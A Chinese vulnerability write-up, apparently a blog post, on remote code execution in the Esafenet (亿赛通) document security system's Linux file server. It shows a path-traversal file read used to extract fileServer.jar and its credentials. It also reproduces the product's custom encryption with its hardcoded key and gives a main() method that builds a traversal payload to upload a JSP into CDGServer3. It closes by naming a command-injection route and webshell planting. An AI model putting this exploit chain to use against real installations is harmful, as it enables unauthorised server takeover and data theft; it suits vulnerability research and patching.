亿赛通电子文档安全管理系统远程代码执行漏洞浅析
漏洞分析
最近天天曝亿赛通的漏洞,又是这个新手向的项目,有点烦其实不是很想写的,本次原理也很简单
熟悉的人可能知道这个系统在windows与linux下有点区别,在linux系统下多了一个8021端口
相较于CDGServer3服务下又臭又长的代码,这个fileserver下的代码还是很短小的
任意文件读取
在com.esafenet.fileserver.controller.LinuxUpdateController#dlUltrasec
下
可以看到其实这里存在一个很简单的文件读取功能,这里只要filePath与type不为空即可,很简单的目录穿越漏洞
1234567891011121314151617181920212223242526272829303132333435363738394041424344 |
public void dlUltrasec(HttpServletRequest request, HttpServletResponse response) { logger.info("进入KO下载程序!");.....省略..... String filePath = request.getParameter("path"); String type = request.getParameter("type"); if (StrUtil.isBlank(filePath) && StrUtil.isBlank(type)) { logger.error("filePath、type参数为空"); return; } if ("1".equals(type)) { type = "ko"; } if ("2".equals(type)) { type = "patch"; } filePath = this.fileService.getAbsolutePathLinux(type, filePath); File file = new File(filePath); logger.info("file exists:" + file.exists()); if (file.exists()) { logger.info(filePath + " 文件存在"); FileInputStream fis = new FileInputStream(file); response.addHeader("content-type", "application/x-msdownload"); response.addHeader("Content-Disposition", "attachment; filename=" + file.getName()); response.addHeader("Content-Length", String.valueOf(fis.available())); outputStream = response.getOutputStream(); bos = new BufferedOutputStream(outputStream); bis = new BufferedInputStream(fis); byte[] readByte = new byte[8192]; boolean var12 = false; int size; while((size = bis.read(readByte)) != -1) { bos.write(readByte, 0, size); } bos.flush(); } else { logger.error("downloadFile=>文件不存在" + JSON.toJSONString(resultMap)); }.....省略...... |
简单来看看getAbsolutePathLinux
的代码逻辑
1234567891011121314151617 |
private String SQLurl;private String basePath;public String getAbsolutePathLinux(String type, String filePath) { if (!StringUtils.hasLength(this.basePath)) { this.basePath = this.getResourcePath(); } filePath = this.basePath + File.separator + "linux" + File.separator + type + File.separator + filePath; File file = new File(filePath); if (!file.exists()) { file.mkdirs(); } return filePath;} |
这个值来源于配置文件,同时我们在配置文件当中可以看到有两个参数,用户名与密码(所以也大概知道读的文件是什么了,就是这个jar包),同时亿赛通系统的安装路径也是固定的
因此通过目录穿越,我们只需要读取/esafenet/fileServer/fileServer.jar
即可
文件上传
这个功能点在com.esafenet.fileserver.controller.FileController#uploadFile
在这个控制器下有两个引人注目的属性,也就是application配置中的内容
1234 |
private String userName;private String password; |
上传的代码很简单,偏新手向,唯一需要注意的就是有参数校验以及加密
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293 |
public String uploadFile( MultipartFile[] uploadfile, HttpServletRequest request){HashMap resultMap = new HashMap();.....省略...... boolean b = this.validateParamterForUpload(request, resultMap); String content; if (!b) { content = CdgUtils.getInstance().sendInfo(JSON.toJSONString(resultMap)); return content; } content = request.getHeader("content"); String json = CdgUtils.decode(content); JSONObject jsonObject = JSON.parseObject(json); Long offset = jsonObject.getLong("offset"); long total = jsonObject.getLongValue("totalSize"); String md5 = jsonObject.getString("md5"); String loginName = jsonObject.getString("loginName"); String srcPath = jsonObject.getString("filePath"); int type = jsonObject.getIntValue("type"); List<Map<String, Object>> list = new ArrayList(); if (uploadfile != null && uploadfile.length > 0) { for(int i = 0; i < uploadfile.length; ++i) { MultipartFile file = uploadfile[i]; if (file.getSize() != 0L) { File targetfile = null; String newPath; HashMap item; if (type == 1) { newPath = this.fileService.getDirPath((String)null); String filename = srcPath.substring(1); targetfile = new File(newPath, filename); if (offset != null) { this.uploadByBlock(list, offset, targetfile, md5, file); } else { file.transferTo(targetfile); item = new HashMap(); item.put("fileSize", targetfile.length()); item.put("filePath", this.fileService.getRelativePath(targetfile.getAbsolutePath())); list.add(item); } } else if (type == 2) { newPath = this.getbackupFilePath(srcPath); if (newPath != null) { targetfile = new File(newPath); File dir = targetfile.getParentFile(); if (!dir.exists()) { dir.mkdirs(); } if (offset != null) { this.uploadByBlock(list, offset, targetfile, md5, file); } else { file.transferTo(targetfile); item = new HashMap(); item.put("fileSize", targetfile.length()); item.put("filePath", this.fileService.getRelativePath(targetfile.getAbsolutePath())); list.add(item); } } } if (targetfile.length() == total) { Map<String, String> param = new HashMap(); param.put("md5", md5); this.fileService.deleteFileInfo(param); } } } } resultMap.put("fileList", list); resultMap.put("code", 1); resultMap.put("msg", "成功"); return CdgUtils.getInstance().sendInfo(JSON.toJSONString(resultMap)); } logger.error("文件上传并发总数到达上限,禁止并上传"); resultMap.put("code", 0); resultMap.put("msg", "文件上传并发总数到达上限,禁止并上传"); var4 = CdgUtils.getInstance().sendInfo(JSON.toJSONString(resultMap));} catch (Exception var25) { var25.printStackTrace(); logger.error("uploadFile=>" + var25.getMessage()); resultMap.put("code", 0); resultMap.put("msg", var25.getMessage() + ""); return CdgUtils.getInstance().sendInfo(JSON.toJSONString(resultMap));} finally { semaphoreUpload.release(); System.out.println("释放通路数:" + semaphoreUpload.availablePermits());}return var4;} |
首先这里通过validateParamterForUpload
对参数做了限制,要求Header中存在content参数,同时解密后要存在以下参数
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758 |
private boolean validateParamterForUpload(HttpServletRequest request, Map<String, Object> resultMap) throws Exception { String content = request.getHeader("content"); if (!StringUtils.hasLength(content)) { resultMap.put("code", 2); resultMap.put("msg", "参数错误"); return false; } else { String json = CdgUtils.decodeContent(content); if (!StringUtils.hasLength(json)) { resultMap.put("code", 2); resultMap.put("msg", "参数错误"); return false; } else { JSONObject jsonObject = JSON.parseObject(json); String serverUserName = jsonObject.getString("userName"); String serverPwd = jsonObject.getString("pwd"); String loginName = jsonObject.getString("loginName"); String filePath = jsonObject.getString("filePath"); long timestamp = jsonObject.getLongValue("timestamp"); Integer type = jsonObject.getInteger("type"); if (!StringUtils.hasLength(serverUserName)) { resultMap.put("code", 3); resultMap.put("msg", "文件服务器用户名为空"); return false; } else if (!StringUtils.hasLength(serverPwd)) { resultMap.put("code", 4); resultMap.put("msg", "文件服务器用户密码为空"); return false; } else if (!StringUtils.hasLength(loginName)) { resultMap.put("code", 5); resultMap.put("msg", "CDG服务器用户登录名为空"); return false; } else if (!StringUtils.hasLength(String.valueOf(timestamp))) { resultMap.put("code", 6); resultMap.put("msg", "接口调用时间戳为空"); return false; } else if (type == null) { resultMap.put("code", 7); resultMap.put("msg", "上传类型为空"); return false; } else if (!serverUserName.equals(this.userName)) { resultMap.put("code", 9); resultMap.put("msg", "文件服务器用户名不正确"); return false; } else if (!serverPwd.equals(this.password)) { resultMap.put("code", 10); resultMap.put("msg", "文件服务器用密码不正确"); return false; } else if (type == 2 && !StringUtils.hasLength(filePath)) { resultMap.put("code", 11); resultMap.put("msg", "文件备份路径为空"); return false; } else { return true; } } } } |
虽然这个站点是spring的,但是对应另一个端口的服务确是tomcat项目,因此我们只需要向对应位置写个jsp即可,具体细节不再多说
对于加密与解密我这里整理了一下,梳理了下最小逻辑
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527 |
import java.lang.reflect.Array;import java.security.InvalidKeyException;import java.security.MessageDigest;import java.util.concurrent.ConcurrentHashMap;public class Y4Uitls { static final int[] alog = new int[256]; static final int[] log = new int[256]; static final byte[] S = new byte[256]; static final byte[] Si = new byte[256]; static final int[] T1 = new int[256]; static final int[] T2 = new int[256]; static final int[] T3 = new int[256]; static final int[] T4 = new int[256]; static final int[] T5 = new int[256]; static final int[] T6 = new int[256]; static final int[] T7 = new int[256]; static final int[] T8 = new int[256]; static final int[] U1 = new int[256]; static final int[] U2 = new int[256]; static final int[] U3 = new int[256]; static final int[] U4 = new int[256]; static final byte[] rcon = new byte[30]; static final int[][][] shifts = new int[][][]{{new int[2], {1, 3}, {2, 2}, {3, 1}}, {new int[2], {1, 5}, {2, 4}, {3, 3}}, {new int[2], {1, 7}, {3, 5}, {4, 4}}}; private static final char[] HEX_DIGITS = new char[]{'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'}; private static byte remain_low; private static byte remain_up; private static byte upper_bit_add_0100; private static byte upper_bit_add_0101; private static byte[] key2; private static final int ENCRYPT_GROUP_LEN = 16; private static final int BLOCK_LEN = 16; private volatile ConcurrentHashMap<String, Integer> clientStatusMap = new ConcurrentHashMap(1000); private static char[] hexDigits; private static String publicKey; public static final String KEY_ALGORITHM = "RSA"; private static final int MAX_DECRYPT_BLOCK = 128; private String hardId = ""; private static MessageDigest messagedigest; static { remain_low = (byte)15; remain_up = (byte)-16; upper_bit_add_0100 = (byte)64; upper_bit_add_0101 = (byte)80; key2 = new byte[]{-21, -112, 90, -68, 5, 44, 85, -86, -21, -112, 90, -68, 5, 44, 85, -86}; hexDigits = new char[]{'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'}; publicKey = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCdd6QFVUF/86PA5EH0z0QcGDqCV7vKZA7DdNK6wYiA1TY1iRxKpsgWRgh4eTOxzdHdpEmvGZro/rxB5cDO3f/zui5jH+FK+EZZ4WL/6SbdYL1EmxOqj2E7WNhM4hCcai3oaqvvTuZOXZVeP4leHA4CGswvOlpUXTU6tbpcXYe6+wIDAQAB"; messagedigest = null; } static { alog[0] = 1; int var2; int var16; for(var2 = 1; var2 < 256; ++var2) { var16 = alog[var2 - 1] << 1 ^ alog[var2 - 1]; if ((var16 & 256) != 0) { var16 ^= 283; } alog[var2] = var16; } for(var2 = 1; var2 < 255; log[alog[var2]] = var2++) { } byte[][] var4 = new byte[][]{{1, 1, 1, 1, 1, 0, 0, 0}, {0, 1, 1, 1, 1, 1, 0, 0}, {0, 0, 1, 1, 1, 1, 1, 0}, {0, 0, 0, 1, 1, 1, 1, 1}, {1, 0, 0, 0, 1, 1, 1, 1}, {1, 1, 0, 0, 0, 1, 1, 1}, {1, 1, 1, 0, 0, 0, 1, 1}, {1, 1, 1, 1, 0, 0, 0, 1}}; byte[] var5 = new byte[]{0, 1, 1, 0, 0, 0, 1, 1}; byte[][] var7 = new byte[256][8]; var7[1][7] = 1; int var6; for(var2 = 2; var2 < 256; ++var2) { var16 = alog[255 - log[var2]]; for(var6 = 0; var6 < 8; ++var6) { var7[var2][var6] = (byte)(var16 >>> 7 - var6 & 1); } } byte[][] var8 = new byte[256][8]; for(var2 = 0; var2 < 256; ++var2) { for(var6 = 0; var6 < 8; ++var6) { var8[var2][var6] = var5[var6]; for(var16 = 0; var16 < 8; ++var16) { var8[var2][var6] = (byte)(var8[var2][var6] ^ var4[var6][var16] * var7[var2][var16]); } } } for(var2 = 0; var2 < 256; ++var2) { S[var2] = (byte)(var8[var2][0] << 7); for(var6 = 1; var6 < 8; ++var6) { byte[] var10000 = S; var10000[var2] = (byte)(var10000[var2] ^ var8[var2][var6] << 7 - var6); } Si[S[var2] & 255] = (byte)var2; } byte[][] var9 = new byte[][]{{2, 1, 1, 3}, {3, 2, 1, 1}, {1, 3, 2, 1}, {1, 1, 3, 2}}; byte[][] var10 = new byte[4][8]; for(var2 = 0; var2 < 4; ++var2) { for(var16 = 0; var16 < 4; ++var16) { var10[var2][var16] = var9[var2][var16]; } var10[var2][var2 + 4] = 1; } byte[][] var13 = new byte[4][4]; for(var2 = 0; var2 < 4; ++var2) { byte var11 = var10[var2][var2]; if (var11 == 0) { for(var6 = var2 + 1; var10[var6][var2] == 0 && var6 < 4; ++var6) { } if (var6 == 4) { throw new RuntimeException("G matrix is not invertible"); } for(var16 = 0; var16 < 8; ++var16) { byte var12 = var10[var2][var16]; var10[var2][var16] = var10[var6][var16]; var10[var6][var16] = var12; } var11 = var10[var2][var2]; } for(var16 = 0; var16 < 8; ++var16) { if (var10[var2][var16] != 0) { var10[var2][var16] = (byte)alog[(255 + log[var10[var2][var16] & 255] - log[var11 & 255]) % 255]; } } for(var6 = 0; var6 < 4; ++var6) { if (var2 != var6) { for(var16 = var2 + 1; var16 < 8; ++var16) { var10[var6][var16] = (byte)(var10[var6][var16] ^ mul(var10[var2][var16], var10[var6][var2])); } var10[var6][var2] = 0; } } } for(var2 = 0; var2 < 4; ++var2) { for(var16 = 0; var16 < 4; ++var16) { var13[var2][var16] = var10[var2][var16 + 4]; } } for(var6 = 0; var6 < 256; ++var6) { byte var14 = S[var6]; T1[var6] = mul4(var14, var9[0]); T2[var6] = mul4(var14, var9[1]); T3[var6] = mul4(var14, var9[2]); T4[var6] = mul4(var14, var9[3]); var14 = Si[var6]; T5[var6] = mul4(var14, var13[0]); T6[var6] = mul4(var14, var13[1]); T7[var6] = mul4(var14, var13[2]); T8[var6] = mul4(var14, var13[3]); U1[var6] = mul4(var6, var13[0]); U2[var6] = mul4(var6, var13[1]); U3[var6] = mul4(var6, var13[2]); U4[var6] = mul4(var6, var13[3]); } rcon[0] = 1; int var15 = 1; for(var6 = 1; var6 < 30; rcon[var6++] = (byte)(var15 = mul(2, var15))) { } } static final int mul(int var0, int var1) { return var0 != 0 && var1 != 0 ? alog[(log[var0 & 255] + log[var1 & 255]) % 255] : 0; } static final int mul4(int var0, byte[] var1) { if (var0 == 0) { return 0; } else { var0 = log[var0 & 255]; int var2 = var1[0] != 0 ? alog[(var0 + log[var1[0] & 255]) % 255] & 255 : 0; int var3 = var1[1] != 0 ? alog[(var0 + log[var1[1] & 255]) % 255] & 255 : 0; int var4 = var1[2] != 0 ? alog[(var0 + log[var1[2] & 255]) % 255] & 255 : 0; int var5 = var1[3] != 0 ? alog[(var0 + log[var1[3] & 255]) % 255] & 255 : 0; return var2 << 24 | var3 << 16 | var4 << 8 | var5; } } public static Object makeKey(byte[] var0) throws InvalidKeyException { return makeKey(var0, 16); } public static byte[] blockEncrypt(byte[] var0, int var1, Object var2) { int[][] var3 = (int[][])((Object[])var2)[0]; int var4 = var3.length - 1; int[] var5 = var3[0]; int var6 = ((var0[var1++] & 255) << 24 | (var0[var1++] & 255) << 16 | (var0[var1++] & 255) << 8 | var0[var1++] & 255) ^ var5[0]; int var7 = ((var0[var1++] & 255) << 24 | (var0[var1++] & 255) << 16 | (var0[var1++] & 255) << 8 | var0[var1++] & 255) ^ var5[1]; int var8 = ((var0[var1++] & 255) << 24 | (var0[var1++] & 255) << 16 | (var0[var1++] & 255) << 8 | var0[var1++] & 255) ^ var5[2]; int var9 = ((var0[var1++] & 255) << 24 | (var0[var1++] & 255) << 16 | (var0[var1++] & 255) << 8 | var0[var1++] & 255) ^ var5[3]; for(int var14 = 1; var14 < var4; ++var14) { var5 = var3[var14]; int var10 = T1[var6 >>> 24 & 255] ^ T2[var7 >>> 16 & 255] ^ T3[var8 >>> 8 & 255] ^ T4[var9 & 255] ^ var5[0]; int var11 = T1[var7 >>> 24 & 255] ^ T2[var8 >>> 16 & 255] ^ T3[var9 >>> 8 & 255] ^ T4[var6 & 255] ^ var5[1]; int var12 = T1[var8 >>> 24 & 255] ^ T2[var9 >>> 16 & 255] ^ T3[var6 >>> 8 & 255] ^ T4[var7 & 255] ^ var5[2]; int var13 = T1[var9 >>> 24 & 255] ^ T2[var6 >>> 16 & 255] ^ T3[var7 >>> 8 & 255] ^ T4[var8 & 255] ^ var5[3]; var6 = var10; var7 = var11; var8 = var12; var9 = var13; } byte[] var15 = new byte[16]; var5 = var3[var4]; int var16 = var5[0]; var15[0] = (byte)(S[var6 >>> 24 & 255] ^ var16 >>> 24); var15[1] = (byte)(S[var7 >>> 16 & 255] ^ var16 >>> 16); var15[2] = (byte)(S[var8 >>> 8 & 255] ^ var16 >>> 8); var15[3] = (byte)(S[var9 & 255] ^ var16); var16 = var5[1]; var15[4] = (byte)(S[var7 >>> 24 & 255] ^ var16 >>> 24); var15[5] = (byte)(S[var8 >>> 16 & 255] ^ var16 >>> 16); var15[6] = (byte)(S[var9 >>> 8 & 255] ^ var16 >>> 8); var15[7] = (byte)(S[var6 & 255] ^ var16); var16 = var5[2]; var15[8] = (byte)(S[var8 >>> 24 & 255] ^ var16 >>> 24); var15[9] = (byte)(S[var9 >>> 16 & 255] ^ var16 >>> 16); var15[10] = (byte)(S[var6 >>> 8 & 255] ^ var16 >>> 8); var15[11] = (byte)(S[var7 & 255] ^ var16); var16 = var5[3]; var15[12] = (byte)(S[var9 >>> 24 & 255] ^ var16 >>> 24); var15[13] = (byte)(S[var6 >>> 16 & 255] ^ var16 >>> 16); var15[14] = (byte)(S[var7 >>> 8 & 255] ^ var16 >>> 8); var15[15] = (byte)(S[var8 & 255] ^ var16); return var15; } public static byte[] blockDecrypt(byte[] var0, int var1, Object var2) { int[][] var3 = (int[][])((Object[])var2)[1]; int var4 = var3.length - 1; int[] var5 = var3[0]; int var6 = ((var0[var1++] & 255) << 24 | (var0[var1++] & 255) << 16 | (var0[var1++] & 255) << 8 | var0[var1++] & 255) ^ var5[0]; int var7 = ((var0[var1++] & 255) << 24 | (var0[var1++] & 255) << 16 | (var0[var1++] & 255) << 8 | var0[var1++] & 255) ^ var5[1]; int var8 = ((var0[var1++] & 255) << 24 | (var0[var1++] & 255) << 16 | (var0[var1++] & 255) << 8 | var0[var1++] & 255) ^ var5[2]; int var9 = ((var0[var1++] & 255) << 24 | (var0[var1++] & 255) << 16 | (var0[var1++] & 255) << 8 | var0[var1++] & 255) ^ var5[3]; for(int var14 = 1; var14 < var4; ++var14) { var5 = var3[var14]; int var10 = T5[var6 >>> 24 & 255] ^ T6[var9 >>> 16 & 255] ^ T7[var8 >>> 8 & 255] ^ T8[var7 & 255] ^ var5[0]; int var11 = T5[var7 >>> 24 & 255] ^ T6[var6 >>> 16 & 255] ^ T7[var9 >>> 8 & 255] ^ T8[var8 & 255] ^ var5[1]; int var12 = T5[var8 >>> 24 & 255] ^ T6[var7 >>> 16 & 255] ^ T7[var6 >>> 8 & 255] ^ T8[var9 & 255] ^ var5[2]; int var13 = T5[var9 >>> 24 & 255] ^ T6[var8 >>> 16 & 255] ^ T7[var7 >>> 8 & 255] ^ T8[var6 & 255] ^ var5[3]; var6 = var10; var7 = var11; var8 = var12; var9 = var13; } byte[] var15 = new byte[16]; var5 = var3[var4]; int var16 = var5[0]; var15[0] = (byte)(Si[var6 >>> 24 & 255] ^ var16 >>> 24); var15[1] = (byte)(Si[var9 >>> 16 & 255] ^ var16 >>> 16); var15[2] = (byte)(Si[var8 >>> 8 & 255] ^ var16 >>> 8); var15[3] = (byte)(Si[var7 & 255] ^ var16); var16 = var5[1]; var15[4] = (byte)(Si[var7 >>> 24 & 255] ^ var16 >>> 24); var15[5] = (byte)(Si[var6 >>> 16 & 255] ^ var16 >>> 16); var15[6] = (byte)(Si[var9 >>> 8 & 255] ^ var16 >>> 8); var15[7] = (byte)(Si[var8 & 255] ^ var16); var16 = var5[2]; var15[8] = (byte)(Si[var8 >>> 24 & 255] ^ var16 >>> 24); var15[9] = (byte)(Si[var7 >>> 16 & 255] ^ var16 >>> 16); var15[10] = (byte)(Si[var6 >>> 8 & 255] ^ var16 >>> 8); var15[11] = (byte)(Si[var9 & 255] ^ var16); var16 = var5[3]; var15[12] = (byte)(Si[var9 >>> 24 & 255] ^ var16 >>> 24); var15[13] = (byte)(Si[var8 >>> 16 & 255] ^ var16 >>> 16); var15[14] = (byte)(Si[var7 >>> 8 & 255] ^ var16 >>> 8); var15[15] = (byte)(Si[var6 & 255] ^ var16); return var15; } public static synchronized Object makeKey(byte[] var0, int var1) throws InvalidKeyException { if (var0 == null) { throw new InvalidKeyException("Empty key"); } else if (var0.length != 16 && var0.length != 24 && var0.length != 32) { throw new InvalidKeyException("Incorrect key length"); } else { int var2 = getRounds(var0.length, var1); int var3 = var1 / 4; int[][] var4 = new int[var2 + 1][var3]; int[][] var5 = new int[var2 + 1][var3]; int var6 = (var2 + 1) * var3; int var7 = var0.length / 4; int[] var8 = new int[var7]; int var9 = 0; int var10; for(var10 = 0; var9 < var7; var8[var9++] = (var0[var10++] & 255) << 24 | (var0[var10++] & 255) << 16 | (var0[var10++] & 255) << 8 | var0[var10++] & 255) { } int var11 = 0; for(var10 = 0; var10 < var7 && var11 < var6; ++var11) { var4[var11 / var3][var11 % var3] = var8[var10]; var5[var2 - var11 / var3][var11 % var3] = var8[var10]; ++var10; } int var13 = 0; int var12; while(var11 < var6) { var12 = var8[var7 - 1]; var8[0] ^= (S[var12 >>> 16 & 255] & 255) << 24 ^ (S[var12 >>> 8 & 255] & 255) << 16 ^ (S[var12 & 255] & 255) << 8 ^ S[var12 >>> 24 & 255] & 255 ^ (rcon[var13++] & 255) << 24; int var10001; if (var7 != 8) { var9 = 1; for(var10 = 0; var9 < var7; var8[var10001] ^= var8[var10++]) { var10001 = var9++; } } else { var9 = 1; for(var10 = 0; var9 < var7 / 2; var8[var10001] ^= var8[var10++]) { var10001 = var9++; } var12 = var8[var7 / 2 - 1]; var8[var7 / 2] ^= S[var12 & 255] & 255 ^ (S[var12 >>> 8 & 255] & 255) << 8 ^ (S[var12 >>> 16 & 255] & 255) << 16 ^ (S[var12 >>> 24 & 255] & 255) << 24; var10 = var7 / 2; for(var9 = var10 + 1; var9 < var7; var8[var10001] ^= var8[var10++]) { var10001 = var9++; } } for(var10 = 0; var10 < var7 && var11 < var6; ++var11) { var4[var11 / var3][var11 % var3] = var8[var10]; var5[var2 - var11 / var3][var11 % var3] = var8[var10]; ++var10; } } for(int var14 = 1; var14 < var2; ++var14) { for(var10 = 0; var10 < var3; ++var10) { var12 = var5[var14][var10]; var5[var14][var10] = U1[var12 >>> 24 & 255] ^ U2[var12 >>> 16 & 255] ^ U3[var12 >>> 8 & 255] ^ U4[var12 & 255]; } } Object[] var15 = new Object[]{var4, var5}; return var15; } } public static int getRounds(int var0, int var1) { switch (var0) { case 16: if (var1 == 16) { return 10; } else { if (var1 == 24) { return 12; } return 14; } case 24: if (var1 != 32) { return 12; } return 14; default: return 14; } } public static String getTransferUnEncrptString(String s) throws Exception { byte[] abyte0 = s.getBytes("ISO8859_1"); int nlength = Array.getLength(abyte0); int len = 2; byte[] result = new byte[nlength / len]; for (int i = 0; i < nlength; i += len) { byte bSingleCharUpper; byte byteRLower = abyte0[i]; byte byteLLower = abyte0[i + 1]; byteRLower = (byte)(byteRLower & remain_low); byteRLower = (byte)(byteRLower << 4); byteRLower = (byte)(byteRLower & remain_up); byteLLower = (byte)(byteLLower & remain_low); result[i / 2] = bSingleCharUpper = (byteLLower = (byte)(byteLLower | byteRLower)); } String unencrptString = new String(result, "ISO8859_1"); return unencrptString; } public static String getTransferEncrptString(String s) throws Exception { byte[] byteTransferEncrpt = s.getBytes("ISO8859_1"); int nLength = Array.getLength(byteTransferEncrpt); byte[] result = new byte[nLength * 2]; for (int i = 0; i < nLength; ++i) { int c; int sc = c = byteTransferEncrpt[i]; byte bUpper = (byte)(sc >>>= 4); int bLower = c; byte bLowerChar = (byte)(bUpper & remain_low); byte zero = 0; bLowerChar = bLowerChar == zero ? (byte)(bLowerChar | upper_bit_add_0101) : (byte)(bLowerChar | upper_bit_add_0100); byte cLowerChar = bLowerChar; byte bLowerChar1 = (byte)(bLower & remain_low); bLowerChar1 = bLowerChar1 == zero ? (byte)(bLowerChar1 | upper_bit_add_0101) : (byte)(bLowerChar1 | upper_bit_add_0100); byte cLowerChar1 = bLowerChar1; result[i * 2] = cLowerChar; result[i * 2 + 1] = cLowerChar1; } String encrptString = new String(result, "ISO8859_1"); return encrptString; } public static String encode(String str) throws Exception { byte[] abyte1 = str.getBytes(); int nLength = Array.getLength(abyte1); encode((byte[])abyte1, (int)nLength, (byte[])key2); String src = new String(abyte1, "ISO8859_1"); return getTransferEncrptString((String)src); } public static void encode(byte[] abyte1, int nLength, byte[] abyte0) throws Exception { int groupsLen = 16 * (nLength / 16); Object obj = makeKey((byte[])abyte0); encrypt((byte[])abyte1, (byte[])abyte1, (int)groupsLen, (Object)obj); if (groupsLen != nLength) { int nLeft = nLength - groupsLen; for (int i = 0; i < nLeft; ++i) { int n = groupsLen + i; abyte1[n] = (byte)(abyte1[n] ^ i); } } } public static String decode(String info) { try { info = getTransferUnEncrptString((String)info); byte[] abyte2 = info.getBytes("ISO8859_1"); int nLength = Array.getLength(abyte2); decode((byte[])abyte2, (int)nLength, (byte[])key2); info = new String(abyte2); return info; } catch (Exception ex) { return info; } } public static void decode(byte[] abyte1, int nLength, byte[] abyte0) throws Exception { int groupsLen = 16 * (nLength / 16); Object obj = makeKey((byte[])abyte0); decrypt((byte[])abyte1, (byte[])abyte1, (int)groupsLen, (Object)obj); if (groupsLen != nLength) { int nLeft = nLength - groupsLen; for (int i = 0; i < nLeft; ++i) { int n = groupsLen + i; abyte1[n] = (byte)(abyte1[n] ^ i); } } } public static void encrypt(byte[] in, byte[] result, int n, Object obj) throws Exception { byte[] abyte = new byte[16]; byte[] abyte0 = new byte[16]; if (0 == n) { return; } for (int i = 0; i < n / 16; ++i) { System.arraycopy(in, i * 16, abyte, 0, 16); abyte0 = blockEncrypt((byte[])abyte, (int)0, (Object)obj); System.arraycopy(abyte0, 0, result, i * 16, 16); } } public static void decrypt(byte[] in, byte[] result, int n, Object obj) throws Exception { byte[] abyte = new byte[16]; byte[] abyte0 = new byte[16]; if (0 == n) { return; } for (int i = 0; i < n / 16; ++i) { System.arraycopy(in, i * 16, abyte, 0, 16); abyte0 = blockDecrypt((byte[])abyte, (int)0, (Object)obj); System.arraycopy(abyte0, 0, result, i * 16, 16); } } public static void main(String[] args) throws Exception{ System.out.println(encode("{\"totalSize\":196,\"offset\":\"0\",\"loginName\":\"y4loveyou\",\"filePath\":\"./../../../../../../../../esafenet/CdgWeb/CDGServer3/3g/y4test.jsp\",\"userName\":\"admin\",\"pwd\":\"admin@123\",\"type\":\"1\",\"timestamp\":1702496085}")); }} |
后话
看都看了不如多看一点,对于MogDbController
,虽然路由下很多执行命令的功能点
但是仔细看执行的地方,因为Java命令执行参数化的原因,这里没办法注入其他命令,可惜了这里该是有回显的
但是看另一个路由com.esafenet.fileserver.controller.DataBaseController#backrestore
看到Bash -c以及cmd /c也就放心了,同时如果不出网我们也可以把结果写到CDGServer3下直接访问即可,也或者写个马到CDGServer3下,方法比较多就不说了
- source:y4tacker
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论